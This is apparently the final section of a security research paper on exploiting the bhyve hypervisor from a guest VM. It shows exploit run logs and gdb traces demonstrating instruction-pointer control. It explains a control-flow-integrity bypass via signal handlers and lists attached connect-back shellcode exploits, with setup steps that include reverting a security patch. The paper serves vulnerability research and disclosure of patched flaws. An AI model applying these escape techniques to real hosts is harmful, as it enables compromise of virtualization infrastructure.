exploit: [+] Changing state to IDENT_SEND
exploit: [+] Reading signature...
exploit: [+] Received signature : BHYV
exploit: [+] Set req_size value to 0xFFFFFFFF
exploit: [+] Setting up fake structures...
exploit: [+] Sending data to overwrite IO handlers...
exploit: [+] Leaking safe stack address by reading pthread struct...
exploit: [+] Leaked safe stack address = 0x6dacc2a16000
exploit: [+] Located mevent_dispatch RIP...
root@renorobert:~ # gdb -q -p `pidof bhyve`
Attaching to process 62427
Reading symbols from /usr/sbin/bhyve...Reading symbols from
/usr/lib/debug//usr/sbin/bhyve.debug...done.
done.
. . .
[Switching to LWP 100082 of process 62427]
_kevent () at _kevent.S:3
3 _kevent.S: No such file or directory.
(gdb) c
Continuing.
Thread 1 "mevent" received signal SIGBUS, Bus error.
0x000002e5ed0984f8 in __thr_kevent (kq=<optimized out>,
changelist=<optimized out>, nchanges=<optimized out>, eventlist=<optimized
out>, nevents=<optimized out>,
timeout=0x6dacc2a15700) at
/usr/src/lib/libthr/thread/thr_syscalls.c:403
403 }
(gdb) x/i $rip
=> 0x2e5ed0984f8 <__thr_kevent+120>: retq
(gdb) x/gx $rsp
0x6dacc2a156d8: 0xdeadbeef00000000
----[ 9.2 - Registering arbitrary signal handler using ACPI shutdown
For the next bypass, let's revisit the smi_cmd_handler() detailed in
section 3.2. Writing the value 0xa1 (BHYVE_ACPI_DISABLE) to SMI command
port not only removes the event handler for SIGTERM, but also registers a
signal handler.
static sig_t old_power_handler;
. . .
static int
smi_cmd_handler(struct vmctx *ctx, int vcpu, int in, int port, int bytes,
uint32_t *eax, void *arg)
{
. . .
case BHYVE_ACPI_DISABLE:
. . .
if (power_button != NULL) {
mevent_delete(power_button);
power_button = NULL;
signal(SIGTERM, old_power_handler);
. . .
}
'old_power_handler' can be overwritten using the arbitrary write provided
by fwctl bug. The call to signal() thus uses the overwritten value,
allowing the guest to register an arbitrary address as a signal handler for
SIGTERM signal. The plan is to invoke the arbitrary address through the
signal trampoline which does not perform CFI validations. The signal
trampoline code invokes the signal handler and then invokes sigreturn
system call to restore the thread's state:
0x7fe555aba000: callq *(%rsp)
0x7fe555aba003: lea 0x10(%rsp),%rdi
0x7fe555aba008: pushq $0x0
0x7fe555aba00a: mov $0x1a1,%rax
0x7fe555aba011: syscall
However, call to signal() does not directly invoke the sigaction system
call. The libthr library on load installs interposing handlers [20] for
many functions in libc, including sigaction().
int
sigaction(int sig, const struct sigaction *act, struct sigaction *oact)
{
return (((int (*)(int, const struct sigaction *, struct sigaction
*))
__libc_interposing[INTERPOS_sigaction])(sig, act, oact));
}
The libthr signal handling code is implemented in libthr/thread/thr_sig.c.
The interposing function __thr_sigaction() stores application registered
signal handling information in an array '_thr_sigact[_SIG_MAXSIG]'. libthr
also registers a single signal handler thr_sighandler(), which dispatches
to application registered signal handlers using the information stored in
'_thr_sigact'. When a signal is received, thr_sighandler() calls
handle_signal() to invoke the respective signal handler through an indirect
call.
static void
handle_signal(struct sigaction *actp, int sig, siginfo_t *info, ucontext_t
*ucp)
{
. . .
sigfunc = actp->sa_sigaction;
. . .
if ((actp->sa_flags & SA_SIGINFO) != 0) {
sigfunc(sig, info, ucp);
} else {
((ohandler)sigfunc)(sig, info->si_code,
(struct sigcontext *)ucp, info->si_addr,
(__sighandler_t *)sigfunc);
}
. . .
}
If libthr.so is compiled with CFI, these indirect calls will also be
protected. In order to redirect execution to the signal trampoline, guest
should overwrite the __libc_interposing[INTERPOS_sigaction] entry with
address of _sigaction() system call instead of __thr_sigaction(). Since
_sigaction() and __thr_sigaction() are of the same function type, they
should be valid targets under CFI.
After the guest registers a fake signal handler, it should wait until the
host triggers an ACPI shutdown using SIGTERM. Below is the output of
proof-of-concept for RIP control using signal handler:
root@guest:~/setupC/cfi_signal_bypass # ./exploit
exploit: [+] Triggering info leak using FreeBSD-SA-16:32.bhyve...
exploit: [+] mevent located @ offset = 0xbff58
exploit: [+] Leaked power_handler address = 0x2aa1604cae0
exploit: [+] Bhyve base address = 0x2aa15fe8000
exploit: [+] Changing state to IDENT_SEND
exploit: [+] Reading signature...
exploit: [+] Received signature : BHYV
exploit: [+] Set req_size value to 0xFFFFFFFF
exploit: [+] Setting up fake structures...
exploit: [+] Sending data to overwrite IO handlers...
exploit: [+] libc base address = 0x6892a57a000
exploit: [+] Overwriting libc interposing table entry for sigaction...
exploit: [+] Overwriting old_power_handler...
exploit: [+] Disabling ACPI shutdown to register fake signal handler
root@guest:~/cfi_bypass/cfi_signal_bypass #
root@host:~ # vm stop freebsdvm
Sending ACPI shutdown to freebsdvm
root@host:~ # gdb -q -p `pidof bhyve`
Attaching to process 44443
Reading symbols from /usr/sbin/bhyve...Reading symbols from
/usr/lib/debug//usr/sbin/bhyve.debug...done.
done.
. . .
_kevent () at _kevent.S:3
3 _kevent.S: No such file or directory.
(gdb) c
Continuing.
Thread 1 "mevent" received signal SIGTERM, Terminated.
_kevent () at _kevent.S:3
3 in _kevent.S
(gdb) c
Continuing.
Thread 1 "mevent" received signal SIGBUS, Bus error.
0x00007fe555aba000 in '' ()
(gdb) x/i $rip
=> 0x7fe555aba000: callq *(%rsp)
(gdb) x/gx $rsp
0x751bcf604b70: 0xdeadbeef00000000
The information disclosure using FreeBSD-SA-16:32.bhyve crashes at times in
HardenedBSD 12-Current. Though this can be improved, I left it as such
since the bug was re-introduced for experimental purposes by reverting the
patch.
--[ 10 - Conclusion
The paper details various techniques to gain RIP control as well as achieve
arbitrary read/write by abusing bhyve's internal data structures. I believe
the methodology described here is generic and could be applicable in the
exploitation of similar bugs in bhyve or even in the analysis of other
hypervisors.
Many thanks to Ilja van Sprundel for finding and disclosing the VGA bug
detailed in the first part of the paper. Thanks to argp, huku and vats for
their excellent research on the jemalloc allocator exploitation. I would
also like to thank Mehdi Talbi and Paul Fariello for their QEMU case study
paper, which motivated me to write one for bhyve. Finally a big thanks to
Phrack Staff for their review and feedback, which helped me improve the
article.
--[ 11 - References
[1] FreeBSD-SA-16:32.bhyve - privilege escalation vulnerability
https://www.freebsd.org/security/advisories/FreeBSD-SA-16:32.bhyve.asc
[2] Setting the VGA Palette
https://bos.asmhackers.net/docs/vga_without_bios/docs/palettesetting.pdf
[3] Hardware Level VGA and SVGA Video Programming Information Page
http://www.osdever.net/FreeVGA/vga/colorreg.htm
[4] Pseudomonarchia jemallocum
http://phrack.org/issues/68/10.html
[5] Exploiting VLC, a case study on jemalloc heap overflows
http://phrack.org/issues/68/13.html
[6] The Shadow over Android
https://census-labs.com/media/shadow-infiltrate-2017.pdf
[7] Kqueue: A generic and scalable event notification facility
https://people.freebsd.org/~jlemon/papers/kqueue.pdf
[8] VM escape - QEMU Case Study
http://www.phrack.org/papers/vm-escape-qemu-case-study.html
[9] Capsicum: practical capabilities for UNIX
https://www.usenix.org/legacy/event/sec10/tech/full_papers/Watson.pdf
[10] Capsicumise bhyve
https://reviews.freebsd.org/D8290
[11] Capsicum support for bhyve
https://reviews.freebsd.org/rS313727
[12] bhyve PCI Passthrough
https://wiki.freebsd.org/bhyve/pci_passthru
[13] Put kernel physaddr at explicit 2MB rather than inconsistent
MAXPAGESIZE
https://reviews.freebsd.org/D8610
[14] VM_MAP_FIND - FreeBSD Kernel Developer's Manual
https://www.freebsd.org/cgi/man.cgi'query=vm_map_find&sektion=9
[15] Nested Paging in bhyve
https://people.freebsd.org/~neel/bhyve/bhyve_nested_paging.pdf
[16] Introducing CFI
https://hardenedbsd.org/article/shawn-webb/2017-03-02/introducing-cfi
[17] Control Flow Integrity Design Documentation
https://clang.llvm.org/docs/ControlFlowIntegrityDesign.html
[18] SafeStack
https://clang.llvm.org/docs/SafeStack.html
[19] Bypassing clang's SafeStack for Fun and Profit
https://www.blackhat.com/docs/eu-16/materials/eu-16-Goktas-Bypassing-Clangs-SafeStack.pdf
[20] libthr - POSIX threads library
https://www.freebsd.org/cgi/man.cgi'query=libthr&sektion=3&manpath=freebsd-release-ports
[21] FreeBSD-SA-18:14.bhyve - Insufficient bounds checking in bhyve device
model
https://www.freebsd.org/security/advisories/FreeBSD-SA-18:14.bhyve.asc
[22] FreeBSD-SA-18:14.bhyve - Always treat firmware request and response
sizes as unsigned
https://github.com/freebsd/freebsd/commit/33c6dca1c4dc75a1d7017b70f388de88636a7e63
--[ 12 - Source code and environment details
The experiment was set up on 3 different host operating systems, all
running inside VMware Fusion with nested virtualization enabled. vm-bhyve
[S1] was used to set up and manage the virtual machines
A. FreeBSD 11.0-RELEASE-p1 #0 r306420 running Ubuntu server 14.04.5 LTS as
guest
B. FreeBSD 11.2-RELEASE #0 r335510 running FreeBSD 11.2-RELEASE #0 r335510
as guest
C. FreeBSD 12.0-CURRENT #0 [DEVEL:HardenedBSD-CURRENT-hbsdcontrol-amd64:53]
running FreeBSD 11.1-RELEASE #0 r321309
Setup (A): Set graphics="yes" in the VM configuration used by vm-bhyve to
enable framebuffer device required by VGA. vm-bhyve enables frame buffer
device only when UEFI is also enabled. This check can be commented out in
'vm-run' bash script [S2].
# add frame buffer output
#
vm::bhyve_device_fbuf(){
local _graphics _port _listen _res _wait _pass
local _fbuf_conf
# only works in uefi mode
#[ -z "${_uefi}" ] && return 0
. . .
}
All the analysis detailed in section 2, 3, 4 and 5 uses this setup (A). The
following exploits provided in the attached code can be tested in this
environment:
- readmemory - proof of concept code to disclose bhyve heap using VGA bug
(section 3.1)
- vga_fakearena_exploit - full working exploit with connect back shellcode
using fake arena technique (section 3)
- vga_ioport_exploit - full working exploit with connect back shellcode
using corrupted inout_handlers structure (section 4.1 - 4.4)
- vga_pci_exploit - proof of concept code to demonstrate RIP control using
PCI BAR decoding technique (section 4.5). It requires libpciaccess, which
can be installed using 'apt-get install libpciaccess-dev'
Setup (B): Apply the bhyverun.patch in the attached code to bhyve and
rebuild from source. This enables fwctl device by default without
specifying a bootrom
# cd /usr/src
# patch < bhyverun.patch
# cd /usr/src/usr.sbin/bhyve
# make
# make install
Enable IOMMU if the host is running as a VM. Follow the instructions in
[S3] up to step 4 to make sure a device available for any VM running on
this host. I used the below USB device for passthrough:
root@host:~ # pciconf -v -l
. . .
ppt0@pci0:2:3:0: class=0x0c0320 card=0x077015ad chip=0x077015ad
rev=0x00 hdr=0x00
vendor = 'VMware'
device = 'USB2 EHCI Controller'
class = serial bus
subclass = USB
After the reboot, verify if the device is ready for passthrough:
root@host:~ # vm passthru
DEVICE BHYVE ID READY DESCRIPTION
hostb0 0/0/0 No 440BX/ZX/DX - 82443BX/ZX/DX Host
bridge
pcib1 0/1/0 No 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge
isab0 0/7/0 No 82371AB/EB/MB PIIX4 ISA
. . .
em0 2/1/0 No 82545EM Gigabit Ethernet Controller
(Copper)
pcm0 2/2/0 No ES1371/ES1373 / Creative Labs CT2518
ppt0 2/3/0 Yes USB2 EHCI Controller
The 'USB2 EHCI Controller' is marked ready. After this, set 'passthru0'
parameter as '2/3/0' in the VM configuration used by vm-bhyve [S4] to
expose the device to a VM.
All the analysis detailed in section 6, 7 and 8 uses this setup (B). The
following exploits provided in the attached code can be tested in this
environment:
- fwctl_sandbox_devmem_exploit - full working exploit with connect back
shellcode using /dev/mem sandbox escape. Requires 'passthru0' parameter
to be configured
- fwctl_sandbox_map_exploit - full working exploit with connect back
shellcode using VM_MAP_PPTDEV_MMIO IOCTL command. Requires 'passthru0'
parameter to be configured
- fwctl_sandbox_bind_exploit - full working exploit with connect back
shellcode using VM_MAP_PPTDEV_MMIO and VM_BIND_PPTDEV IOCTL command.
Configure only a host device for passthrough. Do not set the 'passthru0'
parameter. If 'passthru0' is set, a kernel panic detailed in section 8
will be triggered when running the exploit.
Setup (C): This setup uses
HardenedBSD-CURRENT-hbsdcontrol-amd64-s201709141755-disc1.iso downloaded
from [S5]. Use the information provided in [S6] to setup ports if
necessary. Apply the bhyverun.patch in the attached code and revert the VGA
patch [S7] from bhyve.
# cd /usr/src
# patch < bhyverun.patch
# fetch https://security.FreeBSD.org/patches/SA-16:32/bhyve.patch
# patch -R < bhyve.patch
# cd /usr/src/usr.sbin/bhyve
# make
# make install
All the analysis detailed in section 9 uses this setup (C). The following
proof of concepts provided in the attached code can be tested in this
environment:
- cfi_safestack_bypass - proof of concept code to demonstrate RIP control
bypassing SafeStack
- cfi_signal_bypass - proof of concept code to demonstrate RIP control
using signal trampoline
Addresses of ROP gadgets might need readjustment in any of the above code.
[S1] vm-bhyve - Management system for FreeBSD bhyve virtual machines
https://github.com/churchers/vm-bhyve
[S2] vm-run
https://github.com/churchers/vm-bhyve/blob/master/lib/vm-run
[S3] bhyve PCI Passthrough
https://wiki.freebsd.org/bhyve/pci_passthru
[S4] passthru0
https://github.com/churchers/vm-bhyve/blob/master/sample-templates/config.sample
[S5] HardenedBSD-CURRENT-hbsdcontrol-amd64-LATEST/ISO-IMAGES
https://jenkins.hardenedbsd.org/builds/HardenedBSD-CURRENT-hbsdcontrol-amd64-LATEST/ISO-IMAGES/
[S6] How to use Ports under HardenedBSD
https://groups.google.com/a/hardenedbsd.org/d/msg/users/gRGS6n_446M/KoHGgrB1BgAJ
[S7] FreeBSD-SA-16:32.bhyve - privilege escalation vulnerability
https://www.freebsd.org/security/advisories/FreeBSD-SA-16:32.bhyve.asc
>>>base64-begin code.zip
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<<<base64-end
Reference in a new issue Copy permalink